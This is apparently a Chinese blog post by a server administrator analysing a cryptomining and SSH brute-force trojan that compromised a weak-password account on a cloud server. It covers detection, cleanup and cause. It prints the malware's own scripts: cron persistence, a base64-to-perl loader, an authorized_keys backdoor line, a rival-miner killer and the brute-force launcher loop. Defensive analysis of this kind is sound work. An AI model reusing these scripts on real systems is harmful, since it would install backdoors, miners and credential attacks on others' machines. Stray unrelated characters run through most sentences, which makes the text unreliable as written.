一抄肖、起因
騰訊云給我發(fā)了幾封郵件說我的服務器被木馬攻擊。
我打開服務器監(jiān)控一看,閑置的服務器CPU飆升比规。
二、排查
2.1 首先查詢CPU占用最多的3個進程
查使用內存最多的K個進程
方式一:ps -aux | sort -k3nr | head -K
sort參數說明:
|選項 |說明
|—————|—————————————————————————
|-n |依照數值的大小排序拦英,不加-n按字符串大小排序
|-r |以相反的順序來排序
|-t |設置排序時所用的分隔字符
|-k |指定需要排序的列
|-u |去重
方式二:輸入 top
苞俘, 然后輸入大寫P(輸入大寫M是按內存倒排)
最終發(fā)現是kswapd0進程在作亂。
2.2 排查kswapd0進程
2.2.1 執(zhí)行命令netstat -antlp | grep kswapd0
查詢該進程的網絡信息
[root@VM-0-13-centos etc]# netstat -antlp | grep kswapd0
tcp 0 0 172.17.0.13:55402 45.9.148.129:80 ESTABLISHED 31036/./kswapd0
發(fā)現一個與本機端口通信的是一個荷蘭的ip龄章。
2.2.2 執(zhí)行命令netstat -antlp | grep 45.9.148
查詢該地區(qū)ip的其他網絡占用情況
[root@VM-0-13-centos etc]# netstat -antlp | grep 45.9.148
tcp 0 1 172.17.0.13:47182 45.9.148.99:443 SYN_SENT 31000/rsync
tcp 0 0 172.17.0.13:55402 45.9.148.129:80 ESTABLISHED 31036/./kswapd0
發(fā)現還有一個rsync進程在工作。
執(zhí)行 ps -ef | grep 31000
[root@VM-0-13-centos etc]# ps -ef | grep 31000
root 20734 28364 0 16:22 pts/1 00:00:00 grep --color=auto 31000
cj 31000 1 0 14:20 ? 00:00:00 rsync
確實有這個rsync進程在工作乞封。
2.2.3 查找進程的詳細信息
我們來到/proc/目錄下查找對應的pid號做裙,即/proc/31000和/proc/31036∷嗤恚可以在這兩個目錄下找到rsync進程和kswapd0進程的詳細信息锚贱。
找到啟動的腳本如下:
/proc/31000/exe -> /usr/bin/perl
/proc/31036/exe -> /tmp/.X25-unix/.rsync/a/kswapd0
其實應該看看cmdline文件的,但是已經被我刪了关串。
/proc/pid/cmdline 進程啟動命令
/proc/pid/cwd 鏈接到進程當前工作目錄
/proc/pid/environ 進程環(huán)境變量列表
/proc/pid/exe 鏈接到進程的執(zhí)行命令文件
/proc/pid/fd 包含進程相關的所有的文件描述符
/proc/pid/maps 與進程相關的內存映射信息
/proc/pid/mem 指代進程持有的內存,不可讀
/proc/pid/root 鏈接到進程的根目錄
/proc/pid/stat 進程的狀態(tài)
/proc/pid/statm 進程使用的內存的狀態(tài)
/proc/pid/status 進程狀態(tài)信息,比stat/statm更具可讀性
/proc/self 鏈接到當前正在運行的進程
2.2.4 在cj用戶下查看定時任務 crontab -l
[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
還給我起了好多定時啟動和重啟啟動的腳本拧廊。
2.2.4.1 查看 /home/cj/.configrc/a/ 目錄
看一下upd腳本
#!/bin/sh
cd /home/cj/.configrc/a
if test -r /home/cj/.configrc/a/bash.pid; then
pid=$(cat /home/cj/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1); then
exit 0
fi
fi
./run &>/dev/null
在腳本中檢查了bash.pid是否存在且可讀,如果存在讀取該pid并殺死進程晋修,如果殺死成功吧碾,則退出腳本,否則執(zhí)行run腳本墓卦;
bash.pid文件作用:1. pid文件的內容:pid文件為文本文件倦春,內容只有一行, 記錄了該進程的ID。用cat命令可以看到落剪。2. pid文件的作用:防止進程啟動多個副本睁本。只有獲得pid文件(固定路徑固定文件名)寫入權限(F_WRLCK)的進程才能正常啟動并把自身的PID寫入該文件中。其它同一個程序的多余進程則自動退出忠怖。
查看下run腳本
#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
nohup ./anacron >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./kswapd0
fi
echo $! > bash.pid
如果硬件類型是“i686”的話呢堰,就啟動./anacron腳本;如果是“x86_64”的話凡泣,就啟動萬惡的kswapd0腳本枉疼。
查看下kswapd0腳本
額,打不開鞋拟,有大佬指點一下嗎往衷?
2.2.4.2 查看 /home/cj/.configrc/b/ 目錄
查看sync腳本
#!/bin/sh
cd /home/cj/.configrc/b
./run
直接調用run腳本。
查看run腳本
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "yw5Ik......RPKjIhWyJCYEAAPzBJXX0=" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAB......3K+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
原文件字符長度有4w多字严卖,都是一些密鑰信息席舍,將不重要的密鑰信息刪減了大半。該腳本主要就是將公鑰寫到.ssh文件中哮笆,然后就可以控制計算機了来颤。
三汰扭、解決
-
crontab -e
刪除木馬創(chuàng)建的定時任務。包括/var/spool/cron和/etc/cron.d目錄下的定時任務文件也要排查一下福铅。 - 刪除所有木馬創(chuàng)建的文件萝毛。主要是/tmp/.X25-unix/,cj/.configrc文件和被篡改的.ssh文件滑黔。(見<第五章>)
- 殺死木馬創(chuàng)建的所有進程笆包。(見 <第五章>)
如果該用戶不重要,保險起見可以直接刪除用戶略荡。
查詢所有用戶
cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4 }'|more
刪除用戶及其對應的文件夾
userdel -r cj
四庵佣、分析原因
發(fā)現程序是跑在cj用戶名下的,那就是我創(chuàng)建的普通用戶cj的密碼太簡單了汛兜。最好還是使用密鑰進行登陸巴粪,密碼就那么幾位,不保險粥谬。
但是為什么會知道我創(chuàng)建的用戶名呢肛根,想不明白。破解root用戶不是更方便嗎漏策?
想起之前的一次Elasticsearch被攻擊:部署的ELK集群派哲,用于日志的采集和存儲。但是發(fā)現每隔幾天就會丟失數據掺喻,但是并沒有人去刪除這些日志狮辽,后來發(fā)現是被攻擊了,Meow攻擊使用自動腳本掃描開放的不安全的 Elasticsearch 和 MongoDB 數據庫巢寡,找到之后直接將其刪除喉脖。
五、總結
因為侵入的是我的普通用戶cj抑月,該用戶下我沒有進行過任何操作且該用戶沒有sudo權限树叽。所以只要是cj用戶下的進程都是挖礦的。
木馬啟動的所有進程
cj 31000 1 0 14:20 ? 00:00:00 rsync
cj 31036 1 67 14:21 ? 01:37:01 ./kswapd0
cj 31328 1 0 14:22 ? 00:00:00 /bin/bash ./go
cj 31388 31328 0 14:22 ? 00:00:00 timeout 9h ./tsm -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip
cj 31389 31388 0 14:22 ? 00:00:00 /bin/bash ./tsm -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip
cj 31394 31389 27 14:22 ? 00:38:23 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /usr/sbin/httpd rsync/c/tsm64 -t 535 -f 1 -s 12 -S 9 -p 0 -d 1 p ip
kswapd0是挖礦程序谦絮,tsm是爆破程序题诵。挖礦和爆破程序像病毒一樣蔓延開來。
木馬啟動的所有定時任務
[cj@VM-0-13-centos ~]$ crontab -l
1 1 */2 * * /home/cj/.configrc/a/upd>/dev/null 2>&1
@reboot /home/cj/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/cj/.configrc/b/sync>/dev/null 2>&1
@reboot /home/cj/.configrc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
木馬創(chuàng)建的所有文件
寫了一個腳本來查詢cj用戶的所有文件层皱,腳本如下
vim /root/searchfile.sh
#!/bin/bash
if [ $1 ];then
search_path=$1
else
echo "ERROR: SEARCH_PATH LOSED! "
exit 0
fi
if [ $2 ];then
user=$2
else
user=cj
fi
if [ $3 ];then
target_path=$3
else
target_path=/root/cjfile
fi
echo "" >> $target_path
echo "" >> $target_path
echo "------- $(date) ------" >> $target_path
search_user_file(){
# get absolute path
local DIRNAME=`cd $(dirname $1);pwd`
local BASENAME=`basename $1`
local init_path=$DIRNAME/$BASENAME
echo "enter path => $init_path"
#files=`ls -al $1 | awk -v user=$user -v dirs="" 'NF==9&&$9!="."&&$9!=".."&&$3==user{dirs=dirs" "$9} END{print dirs}'`
local files=`ls -al $1 | awk -v user=$user -v dirs="" 'NF==9&&$9!="."&&$9!=".."{dirs=dirs" "$9} END{print dirs}'`
echo "file => $files"
if !(test -z "$files" );then
for dir in $files;do
local path=$init_path/$dir
#echo $path
if [ -d $path ];then
search_user_file $path $2 $3
else
local owner=`ls -l $path | awk '{print $3}'`
#echo "------------------owner : $owner ------------------"
if [ $owner = $2 ];then
echo $path >> $3
fi
fi
done
fi
}
search_user_file $search_path $user $target_path
腳本目錄下執(zhí)行./searchfile.sh /
性锭,跑了十幾分鐘
得到木馬創(chuàng)建的所有文件如下
------- Wed May 19 15:03:39 CST 2021 ------
/home/cj/.bash_history
/home/cj/.bash_logout
/home/cj/.bash_profile
/home/cj/.bashrc
/home/cj/.cache/abrt/lastnotification
/home/cj/.configrc/a/a
/home/cj/.configrc/a/bash.pid
/home/cj/.configrc/a/dir.dir
/home/cj/.configrc/a/init0
/home/cj/.configrc/a/kswapd0
/home/cj/.configrc/a/.procs
/home/cj/.configrc/a/run
/home/cj/.configrc/a/stop
/home/cj/.configrc/a/upd
/home/cj/.configrc/b/a
/home/cj/.configrc/b/dir.dir
/home/cj/.configrc/b/run
/home/cj/.configrc/b/stop
/home/cj/.configrc/b/sync
/home/cj/.configrc/dir2.dir
/home/cj/.ssh/authorized_keys
/home/cj/.viminfo
/tmp/.X25-unix/dota3.tar.gz
/tmp/.X25-unix/.rsync/1
/tmp/.X25-unix/.rsync/a/a
/tmp/.X25-unix/.rsync/a/init0
/tmp/.X25-unix/.rsync/a/kswapd0
/tmp/.X25-unix/.rsync/a/run
/tmp/.X25-unix/.rsync/a/stop
/tmp/.X25-unix/.rsync/b/a
/tmp/.X25-unix/.rsync/b/run
/tmp/.X25-unix/.rsync/b/stop
/tmp/.X25-unix/.rsync/c/1
/tmp/.X25-unix/.rsync/c/a
/tmp/.X25-unix/.rsync/c/aptitude
/tmp/.X25-unix/.rsync/c/dir.dir
/tmp/.X25-unix/.rsync/c/go
/tmp/.X25-unix/.rsync/c/golan
/tmp/.X25-unix/.rsync/c/lib/32/libc.so.6
/tmp/.X25-unix/.rsync/c/lib/32/libdl.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libnss_dns.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libnss_files.so.2
/tmp/.X25-unix/.rsync/c/lib/32/libpthread.so.0
/tmp/.X25-unix/.rsync/c/lib/32/libresolv-2.23.so
/tmp/.X25-unix/.rsync/c/lib/32/libresolv.so.2
/tmp/.X25-unix/.rsync/c/lib/32/tsm
/tmp/.X25-unix/.rsync/c/lib/64/libc.so.6
/tmp/.X25-unix/.rsync/c/lib/64/libdl.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libnss_dns.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libnss_files.so.2
/tmp/.X25-unix/.rsync/c/lib/64/libpthread.so.0
/tmp/.X25-unix/.rsync/c/lib/64/libresolv-2.23.so
/tmp/.X25-unix/.rsync/c/lib/64/libresolv.so.2
/tmp/.X25-unix/.rsync/c/lib/64/tsm
/tmp/.X25-unix/.rsync/c/n
/tmp/.X25-unix/.rsync/c/run
/tmp/.X25-unix/.rsync/c/scan.log
/tmp/.X25-unix/.rsync/c/slow
/tmp/.X25-unix/.rsync/c/start
/tmp/.X25-unix/.rsync/c/stop
/tmp/.X25-unix/.rsync/c/tsm
/tmp/.X25-unix/.rsync/c/tsm32
/tmp/.X25-unix/.rsync/c/tsm64
/tmp/.X25-unix/.rsync/c/v
/tmp/.X25-unix/.rsync/c/watchdog
/tmp/.X25-unix/.rsync/dir.dir
/tmp/.X25-unix/.rsync/init
/tmp/.X25-unix/.rsync/init2
/tmp/.X25-unix/.rsync/initall
/tmp/.X25-unix/.rsync/.out
/tmp/up.txt
/var/spool/cron/cj
/var/spool/mail/cj
/var/tmp/.systemcache436621
a目錄下存放shellbot后門,b目錄下存放挖礦木馬叫胖,c目錄下存放SSH爆破攻擊程序草冈。
查看歷史命令和登陸
執(zhí)行history
查看歷史命令
發(fā)現所有的歷史命令都沒有了,可能是腳本已經自動清除了。
執(zhí)行last
查看近期登錄的帳戶記錄
發(fā)現沒有cj登陸記錄怎棱,應該也被清除了哩俭。
執(zhí)行/var/log/secure|grep 'Accepted'
查看成功登錄的ip
[root@VM-0-13-centos tmp]# less /var/log/secure|grep 'Accepted'
May 18 13:57:27 VM-0-13-centos sshd[24567]: Accepted password for cj from 42.192.205.184 port 33090 ssh2
發(fā)現了42.192.205.184
這個IP在下午13:57:27
成功登錄了這個云,這個時間和up.txt文件創(chuàng)建的時間相同拳恋。那就是這個IP破解了我的密碼凡资,IP地址在上海∶耍可能也是被木馬黑掉的服務器吧隙赁。
國外的服務器延遲高,但是帶寬大梆暖,國內的帶寬小伞访,但是延遲低。傳輸需要大帶寬式廷,破解需要小延遲,所以想想這么配置很合理芭挽。
六滑废、腳本執(zhí)行順序
6.1 /home/cj/.configrc/a/下的腳本
Install
#!/bin/sh
rm -rf /tmp/.FILE
rm -rf /tmp/.FILE*
rm -rf /dev/shm/.FILE*
rm -rf /dev/shm/.FILE
rm -rf /var/tmp/.FILE
rm -rf /var/tmp/.FILE*
rm -rf /tmp/nu.sh
rm -rf /tmp/nu.*
rm -rf /dev/shm/nu.sh
rm -rf /dev/shm/nu.*
rm -rf /tmp/.F*
rm -rf /tmp/.x*
rm -rf /tmp/tdd.sh
pkill -9 go> .out
pkill -9 run> .out
pkill -9 tsm> .out
kill -9 `ps x|grep run|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep go|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'`> .out
killall -9 xmrig
killall -9 ld-linux
kill -9 `ps x|grep xmrig|grep -v grep|awk '{print $1}'`
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`
cat init | bash
sleep 10
cd ~
pwd > dir.dir
dir=$(cat dir.dir)
if [ -d "$dir/.bashtemprc2" ]; then
exit 0
else
cat init2 | bash
fi
exit 0
執(zhí)行dota/.rsync/initall,Install做一些清理準備工作后袜爪,執(zhí)行init功能蠕趁。
Init
pkill -9 go> .out
pkill -9 run> .out
pkill -9 tsm> .out
kill -9 `ps x|grep run|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep go|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'`> .out
pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
chmod 777 *
rm -rf cron.d
rm -rf ~/.nullcach*
rm -rf ~/.firefoxcatch*
rm -rf ~/.bashtem*
rm -rf ~/.configrc*
mkdir ~/.configrc
cp -r a ~/.configrc/
cp -r b ~/.configrc/
cd ~/.configrc/a/
nohup ./init0 >> /dev/null &
sleep 5s
nohup ./a >>/dev/null &
cd ~/.configrc/b/
nohup ./a >>/dev/null &
cd $dir
cd c
nohup ./start >>/dev/null &
cd ~/.configrc/
pwd > dir2.dir
dir2=$(cat dir2.dir)
echo "1 1 */2 * * $dir2/a/upd>/dev/null 2>&1
@reboot $dir2/a/upd>/dev/null 2>&1
5 8 * * 0 $dir2/b/sync>/dev/null 2>&1
@reboot $dir2/b/sync>/dev/null 2>&1
0 0 */3 * * $dir/c/aptitude>/dev/null 2>&1" >> cron.d
sleep 3s
rm -rf ~/ps
rm -rf ~/ps.*
crontab cron.d
crontab -l
Init中清理自身挖礦進程,寫入定時任務
接著執(zhí)行dota/.rsync/a/a辛馆,a腳本執(zhí)行init0俺陋,就如注釋所言,殺死加密礦工的腳本昙篙,結束競品的shell程序腊状,挖礦程序啟動后會結束大部分挖礦軟件的進程,并刪除其他挖礦軟件相關文件,獨占資源苔可。
init0
#!/bin/sh
##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\
# Killing processes by name, path, arguments and CPU utilization
processes(){
killme() {
killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
}
killa() {
what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
}
killa 34e2fg
killme
# Killing big CPU
VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
for word in $VAR
do
CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
done
killall \.Historys
killall \.sshd
killall neptune
killall xm64
killall xm32
killall ld-linux
killall xmrig
killall \.xmrig
killall suppoieup
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9
ps auxf|grep named| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f /usr/bin/.sshd
pkill -f acpid
pkill -f Donald
pkill -f Macron
pkill -f AnXqV.yam
pkill -f apaceha
pkill -f askdljlqw
pkill -f bashe
pkill -f bashf
pkill -f bashg
pkill -f bashh
pkill -f bashx
pkill -f BI5zj
pkill -f biosetjenkins
pkill -f bonn.sh
pkill -f bonns
pkill -f conn.sh
pkill -f conns
pkill -f cryptonight
pkill -f crypto-pool
pkill -f ddg.2011
pkill -f deamon
pkill -f disk_genius
pkill -f donns
pkill -f Duck.sh
pkill -f gddr
pkill -f Guard.sh
pkill -f i586
pkill -f icb5o
pkill -f ir29xc1
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbalanc1
pkill -f irqbalance
pkill -f irqbnc1
pkill -f JnKihGjn
pkill -f jweri
pkill -f kw.sh
pkill -f kworker34
pkill -f kxjd
pkill -f libapache
pkill -f Loopback
pkill -f lx26
pkill -f mgwsl
pkill -f minerd
pkill -f minergate
pkill -f minexmr
pkill -f mixnerdx
pkill -f mstxmr
pkill -f nanoWatch
pkill -f nopxi
pkill -f NXLAi
pkill -f performedl
pkill -f polkitd
pkill -f pro.sh
pkill -f pythno
pkill -f qW3xT.2
pkill -f sourplum
pkill -f stratum
pkill -f sustes
pkill -f wnTKYg
pkill -f XbashY
pkill -f XJnRj
pkill -f xmrig
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f ysaydh
pkill -f zigw
pkill -f ld-linux
# crond
ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
while read crondpid
do
if [ $(echo $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $crondpid
rm -rf /var/tmp/v3
fi
done < /tmp/crondpid
rm /tmp/crondpid -f
# sshd
ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
while read sshdpid
do
if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $sshdpid
fi
done < /tmp/ssdpid
rm -f /tmp/ssdpid
# syslog
ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
while read syslogpid
do
if [ $(echo $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $syslogpid
fi
done < /tmp/syslogspid
rm /tmp/syslogspid -f
ps x | grep 'b 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
####################################################
ps x | grep 'd 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
}
# Removing miners by known path IOC
files(){
rm /tmp/.cron
rm /tmp/Donald*
rm /tmp/Macron*
rm /tmp/.main
rm /tmp/.yam* -rf
rm -f /tmp/irq
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*httpd.conf
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*index_bak*
rm -rf /tmp/.systemd-private-*
rm -rf /tmp/.xm*
rm -rf /tmp/a7b104c270
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -rf /tmp/httpd.conf
rm -rf /tmp/java*
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/xm*
rm -rf /var/tmp/java*
}
# Killing and blocking miners by network related IOC
network(){
# Kill by known ports/IPs
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}
files
processes
network
echo "DONE"
然后判斷平臺類型缴挖,如果是"i686"就執(zhí)行anacron,anacron是基于xmrig2.14修改的linux平臺挖礦木馬焚辅;如果是x86_64就啟動./kswapd0映屋。
然后執(zhí)行dota/.rsync/b/a,b/a最終執(zhí)行ps同蜻,ps是上面講的ssh后門服務端棚点,方便黑客遠程免密ssh登錄。
接著執(zhí)行c目錄的start湾蔓,聯網下載要爆破的服務器地址瘫析,端口,以及一些字典。
#!/bin/sh
pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
chmod 777 *
rm -rf n
echo "1">n
echo "#!/bin/sh
cd $dir
./run &>/dev/null" > aptitude
chmod u+x aptitude
chmod 777 *
./aptitude >> /dev/null &
exit 0
一直追下去颁股,發(fā)現在go腳本中啟動了tsm腳本么库,執(zhí)行目錄下的tsm傳入要爆破的IP和字典
#!/bin/bash
dir=`pwd`
cd $dir
threads=535
ARCH=`uname -m`
if [[ "$ARCH" =~ ^arm ]]; then
threads=75
fi
while :
do
touch v
rm -rf p
rm -rf ip
rm -rf xtr*
rm -rf a a.*
rm -rf b b.*
sleep $[ ( $RANDOM % 30 ) + 1 ]s
timeout 9h ./tsm -t $threads -f 1 -s 12 -S 9 -p 0 -d 1 p ip
sleep 3
rm -rf xtr*
rm -rf ip
rm -rf p
rm -rf .out
rm -rf /tmp/t*
done
exit 0
tsm腳本
#!/bin/bash
SCRIPT_PATH=$(dirname $(readlink -f $0))
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
$SCRIPT_PATH/lib/32/tsm --library-path $SCRIPT_PATH/lib/32/ $SCRIPT_PATH/tsm32 $*
elif [ "$ARCH" == "x86_64" ]; then
$SCRIPT_PATH/lib/64/tsm --library-path $SCRIPT_PATH/lib/64/ $SCRIPT_PATH/tsm64 $*
fi
參考
騰訊官方分析 https://www.freebuf.com/articles/network/205384.html
問題排查https://cloud.tencent.com/document/product/296/9604